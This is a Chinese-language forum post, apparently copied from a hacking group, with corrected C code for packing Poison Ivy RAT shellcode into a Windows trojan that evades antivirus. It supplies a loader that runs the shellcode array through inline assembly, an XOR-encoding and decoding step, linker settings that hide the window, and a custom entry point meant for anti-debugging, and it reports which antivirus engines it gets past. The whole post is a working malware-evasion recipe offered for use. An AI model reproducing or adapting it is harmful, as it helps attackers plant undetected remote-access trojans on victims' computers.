来自暗组,但原贴有诸多语法错误,以下是修正后的编译法。
一,直接编译:
#include <windows.h>
#pragma comment(linker, “/OPT:NOWIN98”)
#pragma comment( linker, “/subsystem:\”windows\” /entry:\”mainCRTStartup\”” )
#pragma comment(linker, “/MERGE:.rdata=.text”) //合并区段,减小体积,可以不要
void main()
{
unsigned char PIShellCode[n] =
{
//这里填上生成的数组
};
_asm
{
lea eax,_black
call eax
}
}
这么编译出来,国内全过了(表面),NOD32都不杀了~~只有360杀毒还没过。加个反调试,也过了。
如果自定义入口点的话,NOD32就杀了,很奇怪。。。
=========================================================================================================
二,异或免杀:
1,加密原数组,并输出。
#include <stdio.h>
void main()
{
unsigned char red[n];
{
/*这里用来放生成的数组,直接拷贝进来就行了;*/
};
unsigned char black[n] ; /* 这里声明两个数组,第一个数组是posion ivy 生成的(可以直接拷贝生成的数组)
第二个数组用来接收加密过的数组,一般情况下生成的数组的长度由 posion ivy服务端配置
情况来决定,第二个数组可以声明与第一个数组同样大;
*/
for(int i=0;i<=n-1;i++)
{
black[i]=red[i] ^ 0x5f /* 这里直接对数组red进行xor加密
}
for (int j=0;j<=n-1;j++)
{
printf(“0x”)
printf(“%x”,black[j]); /* 这里输出已经加密过的数组
printf(“,”)
}
}
编译,然后输出到 a.txt。
2,解密,编译成木马。
#include <windows.h>
#pragma comment(linker, “/OPT:NOWIN98”)
#pragma comment( linker, “/subsystem:\”windows\” /entry:\”mainCRTStartup\”” )
#pragma comment(linker, “/ENTRY:Fuck_AntiVirus”) //自定义了入口点,方便加反调试
#pragma comment(linker, “/MERGE:.rdata=.text”)
void Pi_Exe()
{
unsigned char FuckU[n] =
{
//上面 a.txt 中的数组元素,复制过来。
};
unsigned char black[n];
for(int i=0;i<=n-1;i++)
{
black[i]=FuckU[i] ^ 0x5f;
}
_asm
{
lea eax,black
call eax
}
}
void Fuck_AntiVirus()
{
_asm
{
//加点反调试代码
}
Pi_Exe();
}
编译成功,杀毒网绝大部分通过。国内全过,仅是表面。。。
初学VC,错误在所难免。。。
我发现,异或不异或,免杀效果没有什么改变。。。主要还是反调试要强。